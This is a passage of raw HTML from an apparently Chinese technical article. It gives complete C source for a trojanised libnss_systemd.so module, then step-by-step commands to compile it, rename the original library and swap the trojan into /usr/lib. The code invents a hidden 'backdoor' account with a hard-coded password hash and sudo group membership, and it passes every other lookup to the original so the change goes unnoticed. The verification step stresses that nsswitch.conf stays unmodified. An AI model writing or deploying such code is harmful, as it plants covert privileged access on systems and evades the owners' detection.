leaf="">&lt;stdlib.h&gt;</span></span></span><span leaf=""><br/></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">#</span><span style="line-height: 26px;"><span leaf="">include</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&lt;dlfcn.h&gt;</span></span></span><span leaf=""><br/></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">#</span><span style="line-height: 26px;"><span leaf="">define</span></span><span leaf=""> BACKDOOR_USER  </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;backdoor&#34;</span></span></span><span leaf=""><br/></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">#</span><span style="line-height: 26px;"><span leaf="">define</span></span><span leaf=""> BACKDOOR_UID   1002</span></span><span leaf=""><br/></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">#</span><span style="line-height: 26px;"><span leaf="">define</span></span><span leaf=""> BACKDOOR_GID   1002</span></span><span leaf=""><br/></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">#</span><span style="line-height: 26px;"><span leaf="">define</span></span><span leaf=""> BACKDOOR_HASH  </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;$6$saltsalt$JSA7QQezqkCGcLOuIP7k8H/4DIXCKpl3swj7W2rk1Ly8TTBeDk1WTtcom9yFeIc5TjzcRNL0tPKBkCzLPu9Jy0&#34;</span></span></span><span leaf=""><br/></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">#</span><span style="line-height: 26px;"><span leaf="">define</span></span><span leaf=""> SUDO_GID       27</span></span><span leaf=""><br/></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">#</span><span style="line-height: 26px;"><span leaf="">define</span></span><span leaf=""> ORIG_SO </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;/usr/lib/x86_64-linux-gnu/libnss_systemd.so.2.orig&#34;</span></span></span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">static</span></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">void</span></span><span leaf=""> *orig_handle = </span><span style="color: #56b6c2;line-height: 26px;"><span leaf="">NULL</span></span><span leaf="">;</span><span style="line-height: 26px;"><span style="color: #c678dd;line-height: 26px;"><span leaf="">static</span></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">void</span></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">ensure_loaded</span></span><span style="line-height: 26px;"><span leaf="">(</span><span style="color: #c678dd;line-height: 26px;"><span leaf="">void</span></span><span leaf="">)</span></span><span leaf=""><br/></span></span><span leaf="">{</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">if</span></span><span leaf=""> (orig_handle) </span><span style="color: #c678dd;line-height: 26px;"><span leaf="">return</span></span><span leaf="">;</span><span leaf=""><br/></span><span leaf="">    orig_handle = dlopen(ORIG_SO, RTLD_LAZY);</span><span leaf=""><br/></span><span leaf="">}</span><span style="line-height: 26px;"><span style="color: #c678dd;line-height: 26px;"><span leaf="">static</span></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">void</span></span><span leaf=""><br/></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">fill_backdoor_passwd</span></span><span style="line-height: 26px;"><span leaf="">(struct passwd *result, </span><span style="color: #c678dd;line-height: 26px;"><span leaf="">char</span></span><span leaf=""> *buffer)</span></span><span leaf=""><br/></span></span><span leaf="">{</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">char</span></span><span leaf=""> *p = buffer;</span><span leaf=""><br/></span><span leaf="">    result-&gt;pw_name = p;</span><span leaf=""><br/></span><span leaf="">    p = stpcpy(p, BACKDOOR_USER) + </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">1</span></span><span leaf="">;</span><span leaf=""><br/></span><span leaf="">    result-&gt;pw_passwd = p;</span><span leaf=""><br/></span><span leaf="">    p = stpcpy(p, </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;x&#34;</span></span><span leaf="">) + </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">1</span></span><span leaf="">;</span><span leaf=""><br/></span><span leaf="">    result-&gt;pw_uid = BACKDOOR_UID;</span><span leaf=""><br/></span><span leaf="">    result-&gt;pw_gid = BACKDOOR_GID;</span><span leaf=""><br/></span><span leaf="">    result-&gt;pw_gecos = p;</span><span leaf=""><br/></span><span leaf="">    p = stpcpy(p, BACKDOOR_USER) + </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">1</span></span><span leaf="">;</span><span leaf=""><br/></span><span leaf="">    result-&gt;pw_dir = p;</span><span leaf=""><br/></span><span leaf="">    p = stpcpy(p, </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;/home/backdoor&#34;</span></span><span leaf="">) + </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">1</span></span><span leaf="">;</span><span leaf=""><br/></span><span leaf="">    result-&gt;pw_shell = p;</span><span leaf=""><br/></span><span leaf="">    p = stpcpy(p, </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;/bin/bash&#34;</span></span><span leaf="">) + </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">1</span></span><span leaf="">;</span><span leaf=""><br/></span><span leaf="">}</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">enum</span></span><span leaf=""> nss_status</span><span leaf=""><br/></span><span leaf="">_nss_systemd_getpwnam_r (</span><span style="color: #c678dd;line-height: 26px;"><span leaf="">const</span></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">char</span></span><span leaf=""> *name,</span><span leaf=""><br/></span><span leaf="">                         struct passwd *result,</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">char</span></span><span leaf=""> *buffer, </span><span style="color: #c678dd;line-height: 26px;"><span leaf="">size_t</span></span><span leaf=""> buflen, </span><span style="color: #c678dd;line-height: 26px;"><span leaf="">int</span></span><span leaf=""> *errnop)</span><span leaf=""><br/></span><span leaf="">{</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">if</span></span><span leaf=""> (</span><span style="color: #e6c07b;line-height: 26px;"><span leaf="">strcmp</span></span><span leaf="">(name, BACKDOOR_USER) == </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0</span></span><span leaf="">)</span><span leaf=""><br/></span><span leaf="">    {</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">if</span></span><span leaf=""> (buflen &lt; </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">256</span></span><span leaf="">)</span><span leaf=""><br/></span><span leaf="">        {</span><span leaf=""><br/></span><span leaf="">            *errnop = ERANGE;</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">return</span></span><span leaf=""> NSS_STATUS_TRYAGAIN;</span><span leaf=""><br/></span><span leaf="">        }</span><span leaf=""><br/></span><span leaf="">        fill_backdoor_passwd(result, buffer);</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">return</span></span><span leaf=""> NSS_STATUS_SUCCESS;</span><span leaf=""><br/></span><span leaf="">    }</span><span leaf=""><br/></span><span leaf="">    ensure_loaded();</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">if</span></span><span leaf=""> (!orig_handle) </span><span style="color: #c678dd;line-height: 26px;"><span leaf="">return</span></span><span leaf=""> NSS_STATUS_NOTFOUND;</span><span leaf=""><br/></span><span style="line-height: 26px;"><span style="color: #c678dd;line-height: 26px;"><span leaf="">enum</span></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">nss_status</span></span><span style="line-height: 26px;"><span leaf="">(*orig)</span></span><span style="line-height: 26px;"><span leaf="">(</span><span style="color: #c678dd;line-height: 26px;"><span leaf="">const</span></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">char</span></span><span leaf=""> *, struct passwd *,</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">char</span></span><span leaf=""> *, </span><span style="color: #c678dd;line-height: 26px;"><span leaf="">size_t</span></span><span leaf="">, </span><span style="color: #c678dd;line-height: 26px;"><span leaf="">int</span></span><span leaf=""> *)</span></span></span><span leaf="">;</span><span leaf=""><br/></span><span leaf="">    orig = dlsym(orig_handle, </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;_nss_systemd_getpwnam_r&#34;</span></span><span leaf="">);</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">if</span></span><span leaf=""> (!orig) </span><span style="color: #c678dd;line-height: 26px;"><span leaf="">return</span></span><span leaf=""> NSS_STATUS_NOTFOUND;</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">return</span></span><span leaf=""> orig(name, result, buffer, buflen, errnop);</span><span leaf=""><br/></span><span leaf="">}</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">enum</span></span><span leaf=""> nss_status</span><span leaf=""><br/></span><span leaf="">_nss_systemd_getpwuid_r (</span><span style="color: #c678dd;line-height: 26px;"><span leaf="">uid_t</span></span><span leaf=""> uid,</span><span leaf=""><br/></span><span leaf="">                         struct passwd *result,</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">char</span></span><span leaf=""> *buffer, </span><span style="color: #c678dd;line-height: 26px;"><span leaf="">size_t</span></span><span leaf=""> buflen, </span><span style="color: #c678dd;line-height: 26px;"><span leaf="">int</span></span><span leaf=""> *errnop)</span><span leaf=""><br/></span><span leaf="">{</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">if</span></span><span leaf=""> (uid == BACKDOOR_UID)</span><span leaf=""><br/></span><span leaf="">    {</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">if</span></span><span leaf=""> (buflen &lt; </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">256</span></span><span leaf="">)</span><span leaf=""><br/></span><span leaf="">        {</span><span leaf=""><br/></span><span leaf="">            *errnop = ERANGE;</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">return</span></span><span leaf=""> NSS_STATUS_TRYAGAIN;</span><span leaf=""><br/></span><span leaf="">        }</span><span leaf=""><br/></span><span leaf="">        fill_backdoor_passwd(result, buffer);</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">return</span></span><span leaf=""> NSS_STATUS_SUCCESS;</span><span leaf=""><br/></span><span leaf="">    }</span><span leaf=""><br/></span><span leaf="">    ensure_loaded();</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">if</span></span><span leaf=""> (!orig_handle) </span><span style="color: #c678dd;line-height: 26px;"><span leaf="">return</span></span><span leaf=""> NSS_STATUS_NOTFOUND;</span><span leaf=""><br/></span><span style="line-height: 26px;"><span style="color: #c678dd;line-height: 26px;"><span leaf="">enum</span></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">nss_status</span></span><span style="line-height: 26px;"><span leaf="">(*orig)</span></span><span style="line-height: 26px;"><span leaf="">(</span><span style="color: #c678dd;line-height: 26px;"><span leaf="">uid_t</span></span><span leaf="">, struct passwd *,</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">char</span></span><span leaf=""> *, </span><span style="color: #c678dd;line-height: 26px;"><span leaf="">size_t</span></span><span leaf="">, </span><span style="color: #c678dd;line-height: 26px;"><span leaf="">int</span></span><span leaf=""> *)</span></span></span><span leaf="">;</span><span leaf=""><br/></span><span leaf="">    orig = dlsym(orig_handle, </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;_nss_systemd_getpwuid_r&#34;</span></span><span leaf="">);</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">if</span></span><span leaf=""> (!orig) </span><span style="color: #c678dd;line-height: 26px;"><span leaf="">return</span></span><span leaf=""> NSS_STATUS_NOTFOUND;</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">return</span></span><span leaf=""> orig(uid, result, buffer, buflen, errnop);</span><span leaf=""><br/></span><span leaf="">}</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">enum</span></span><span leaf=""> nss_status</span><span leaf=""><br/></span><span leaf="">_nss_systemd_initgroups_dyn (</span><span style="color: #c678dd;line-height: 26px;"><span leaf="">const</span></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">char</span></span><span leaf=""> *user, </span><span style="color: #c678dd;line-height: 26px;"><span leaf="">gid_t</span></span><span leaf=""> group,</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">long</span></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">int</span></span><span leaf=""> *start, </span><span style="color: #c678dd;line-height: 26px;"><span leaf="">long</span></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">int</span></span><span leaf=""> *size,</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">gid_t</span></span><span leaf=""> **groups, </span><span style="color: #c678dd;line-height: 26px;"><span leaf="">long</span></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">int</span></span><span leaf=""> limit,</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">int</span></span><span leaf=""> *errnop)</span><span leaf=""><br/></span><span leaf="">{</span><span leaf=""><br/></span><span leaf="">    ensure_loaded();</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">if</span></span><span leaf=""> (!orig_handle) </span><span style="color: #c678dd;line-height: 26px;"><span leaf="">return</span></span><span leaf=""> NSS_STATUS_NOTFOUND;</span><span leaf=""><br/></span><span style="line-height: 26px;"><span style="color: #c678dd;line-height: 26px;"><span leaf="">enum</span></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">nss_status</span></span><span style="line-height: 26px;"><span leaf="">(*orig)</span></span><span style="line-height: 26px;"><span leaf="">(</span><span style="color: #c678dd;line-height: 26px;"><span leaf="">const</span></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">char</span></span><span leaf=""> *, </span><span style="color: #c678dd;line-height: 26px;"><span leaf="">gid_t</span></span><span leaf="">,</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">long</span></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">int</span></span><span leaf=""> *, </span><span style="color: #c678dd;line-height: 26px;"><span leaf="">long</span></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">int</span></span><span leaf=""> *,</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">gid_t</span></span><span leaf=""> **, </span><span style="color: #c678dd;line-height: 26px;"><span leaf="">long</span></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">int</span></span><span leaf="">, </span><span style="color: #c678dd;line-height: 26px;"><span leaf="">int</span></span><span leaf=""> *)</span></span></span><span leaf="">;</span><span leaf=""><br/></span><span leaf="">    orig = dlsym(orig_handle, </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;_nss_systemd_initgroups_dyn&#34;</span></span><span leaf="">);</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">enum</span></span><span leaf=""> nss_status status = NSS_STATUS_NOTFOUND;</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">if</span></span><span leaf=""> (orig)</span><span leaf=""><br/></span><span leaf="">        status = orig(user, group, start, size, groups, limit, errnop);</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">if</span></span><span leaf=""> (</span><span style="color: #e6c07b;line-height: 26px;"><span leaf="">strcmp</span></span><span leaf="">(user, BACKDOOR_USER) == </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0</span></span><span leaf="">)</span><span leaf=""><br/></span><span leaf="">    {</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">gid_t</span></span><span leaf=""> extra[] = { BACKDOOR_GID, SUDO_GID };</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">for</span></span><span leaf=""> (</span><span style="color: #c678dd;line-height: 26px;"><span leaf="">int</span></span><span leaf=""> i = </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0</span></span><span leaf="">; i &lt; </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">2</span></span><span leaf="">; i++)</span><span leaf=""><br/></span><span leaf="">        {</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">if</span></span><span leaf=""> (*start &gt;= *size)</span><span leaf=""><br/></span><span leaf="">            {</span><span leaf=""><br/></span><span leaf="">                *size *= </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">2</span></span><span leaf="">;</span><span leaf=""><br/></span><span leaf="">                *groups = </span><span style="color: #e6c07b;line-height: 26px;"><span leaf="">realloc</span></span><span leaf="">(*groups, *size * </span><span style="color: #c678dd;line-height: 26px;"><span leaf="">sizeof</span></span><span leaf="">(</span><span style="color: #c678dd;line-height: 26px;"><span leaf="">gid_t</span></span><span leaf="">));</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">if</span></span><span leaf=""> (!*groups) </span><span style="color: #c678dd;line-height: 26px;"><span leaf="">return</span></span><span leaf=""> NSS_STATUS_TRYAGAIN;</span><span leaf=""><br/></span><span leaf="">            }</span><span leaf=""><br/></span><span leaf="">            (*groups)[*start] = extra[i];</span><span leaf=""><br/></span><span leaf="">            *start += </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">1</span></span><span leaf="">;</span><span leaf=""><br/></span><span leaf="">        }</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">return</span></span><span leaf=""> NSS_STATUS_SUCCESS;</span><span leaf=""><br/></span><span leaf="">    }</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">return</span></span><span leaf=""> status;</span><span leaf=""><br/></span><span leaf="">}</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">enum</span></span><span leaf=""> nss_status</span><span leaf=""><br/></span><span leaf="">_nss_systemd_getspnam_r (</span><span style="color: #c678dd;line-height: 26px;"><span leaf="">const</span></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">char</span></span><span leaf=""> *name,</span><span leaf=""><br/></span><span leaf="">                         struct spwd *result,</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">char</span></span><span leaf=""> *buffer, </span><span style="color: #c678dd;line-height: 26px;"><span leaf="">size_t</span></span><span leaf=""> buflen, </span><span style="color: #c678dd;line-height: 26px;"><span leaf="">int</span></span><span leaf=""> *errnop)</span><span leaf=""><br/></span><span leaf="">{</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">if</span></span><span leaf=""> (</span><span style="color: #e6c07b;line-height: 26px;"><span leaf="">strcmp</span></span><span leaf="">(name, BACKDOOR_USER) == </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0</span></span><span leaf="">)</span><span leaf=""><br/></span><span leaf="">    {</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">if</span></span><span leaf=""> (buflen &lt; </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">512</span></span><span leaf="">)</span><span leaf=""><br/></span><span leaf="">        {</span><span leaf=""><br/></span><span leaf="">            *errnop = ERANGE;</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">return</span></span><span leaf=""> NSS_STATUS_TRYAGAIN;</span><span leaf=""><br/></span><span leaf="">        }</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">char</span></span><span leaf=""> *p = buffer;</span><span leaf=""><br/></span><span leaf="">        result-&gt;sp_namp = p;</span><span leaf=""><br/></span><span leaf="">        p = stpcpy(p, BACKDOOR_USER) + </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">1</span></span><span leaf="">;</span><span leaf=""><br/></span><span leaf="">        result-&gt;sp_pwdp = p;</span><span leaf=""><br/></span><span leaf="">        p = stpcpy(p, BACKDOOR_HASH) + </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">1</span></span><span leaf="">;</span><span leaf=""><br/></span><span leaf="">        result-&gt;sp_lstchg = </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">20000</span></span><span leaf="">;</span><span leaf=""><br/></span><span leaf="">        result-&gt;sp_min = </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0</span></span><span leaf="">;</span><span leaf=""><br/></span><span leaf="">        result-&gt;sp_max = </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">99999</span></span><span leaf="">;</span><span leaf=""><br/></span><span leaf="">        result-&gt;sp_warn = </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">7</span></span><span leaf="">;</span><span leaf=""><br/></span><span leaf="">        result-&gt;sp_inact = </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">-1</span></span><span leaf="">;</span><span leaf=""><br/></span><span leaf="">        result-&gt;sp_expire = </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">-1</span></span><span leaf="">;</span><span leaf=""><br/></span><span leaf="">        result-&gt;sp_flag = </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0</span></span><span leaf="">;</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">return</span></span><span leaf=""> NSS_STATUS_SUCCESS;</span><span leaf=""><br/></span><span leaf="">    }</span><span leaf=""><br/></span><span leaf="">    ensure_loaded();</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">if</span></span><span leaf=""> (!orig_handle) </span><span style="color: #c678dd;line-height: 26px;"><span leaf="">return</span></span><span leaf=""> NSS_STATUS_NOTFOUND;</span><span leaf=""><br/></span><span style="line-height: 26px;"><span style="color: #c678dd;line-height: 26px;"><span leaf="">enum</span></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">nss_status</span></span><span style="line-height: 26px;"><span leaf="">(*orig)</span></span><span style="line-height: 26px;"><span leaf="">(</span><span style="color: #c678dd;line-height: 26px;"><span leaf="">const</span></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">char</span></span><span leaf=""> *, struct spwd *,</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">char</span></span><span leaf=""> *, </span><span style="color: #c678dd;line-height: 26px;"><span leaf="">size_t</span></span><span leaf="">, </span><span style="color: #c678dd;line-height: 26px;"><span leaf="">int</span></span><span leaf=""> *)</span></span></span><span leaf="">;</span><span leaf=""><br/></span><span leaf="">    orig = dlsym(orig_handle, </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;_nss_systemd_getspnam_r&#34;</span></span><span leaf="">);</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">if</span></span><span leaf=""> (!orig) </span><span style="color: #c678dd;line-height: 26px;"><span leaf="">return</span></span><span leaf=""> NSS_STATUS_NOTFOUND;</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">return</span></span><span leaf=""> orig(name, result, buffer, buflen, errnop);</span><span leaf=""><br/></span><span leaf="">}</span></code></pre><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><strong style="font-weight: bold;color: black;"><span leaf="">步骤二：编译木马化模块</span></strong></p><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><code style="overflow-x: auto;padding: 16px;color: #abb2bf;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #282c34;border-radius: 5px;"><span leaf="">gcc -shared -fPIC -o libnss_systemd.so.2.trojan nss_systemd_trojan.c -ldl</span></code></pre><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><strong style="font-weight: bold;color: black;"><span leaf="">步骤三：备份原始模块</span></strong></p><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><code style="overflow-x: auto;padding: 16px;color: #abb2bf;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #282c34;border-radius: 5px;"><span leaf="">sudo mv /usr/lib/x86_64-linux-gnu/libnss_systemd.so.2 \</span><span leaf=""><br/></span><span leaf="">        /usr/lib/x86_64-linux-gnu/libnss_systemd.so.2.orig</span></code></pre><blockquote style="display: block;font-size: 0.9em;overflow: auto;overflow-scrolling: touch;border-left: 3px solid rgba(0, 0, 0, 0.4);color: #6a737d;padding-top: 10px;padding-bottom: 10px;padding-left: 20px;padding-right: 10px;margin-bottom: 20px;margin-top: 20px;border-left-color: rgb(239, 112, 96);background: #fff9f9;"><p style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0px;color: black;line-height: 26px;"><span leaf="">注意：使用 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">mv</span></code><span leaf=""> 而不是 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">cp</span></code><span leaf=""> 来替换。</span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">cp</span></code><span leaf=""> 会先截断目标文件再写入，如果此时有进程正在使用该 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">.so</span></code><span leaf="">，会导致 Bus Error 崩溃。</span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">mv</span></code><span leaf=""> 是原子操作（同一个文件系统上是 rename），不存在截断风险。</span></p></blockquote><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><strong style="font-weight: bold;color: black;"><span leaf="">步骤四：部署木马化模块</span></strong></p><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><code style="overflow-x: auto;padding: 16px;color: #abb2bf;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #282c34;border-radius: 5px;"><span leaf="">sudo mv libnss_systemd.so.2.trojan /usr/lib/x86_64-linux-gnu/libnss_systemd.so.2</span></code></pre><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><strong style="font-weight: bold;color: black;"><span leaf="">步骤五：验证后门效果</span></strong></p><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">首先确认 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">nsswitch.conf</span></code><span leaf=""> 未被修改，没有任何可疑的数据源：</span></p><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><code style="overflow-x: auto;padding: 16px;color: #abb2bf;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #282c34;border-radius: 5px;"><span leaf="">cat /etc/nsswitch.conf | grep passwd</span></code></pre><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">然后测试后门用户是否被识别：</span></p><figure data-tool="mdnice编辑器" style="margin: 0;margin-top: 10px;margin-bottom: 10px;"><span leaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.44537037037037036" data-type="png" data-w="1080" style="display: block;margin: 0 auto;width: auto;max-width: 100%;" data-imgfileid="100019436" src="https://wechat2rss.xlab.app/img-proxy/?k=b3692c46&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F7icpL221ib6YjfcZ2YlpJ6JHlLFiazA4Qt1RVNODtkOKdXpP5I8pTgZBpPsYL1k3083ZZ5A7gxRibLWAzPibbjv95Z4ec7MFtcxRd4zIQrF8vlcQ%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span><figcaption style="margin-top: 5px;text-align: center;color: #888;font-size: 14px;"></figcaption></figure><figure data-tool="mdnice编辑器" 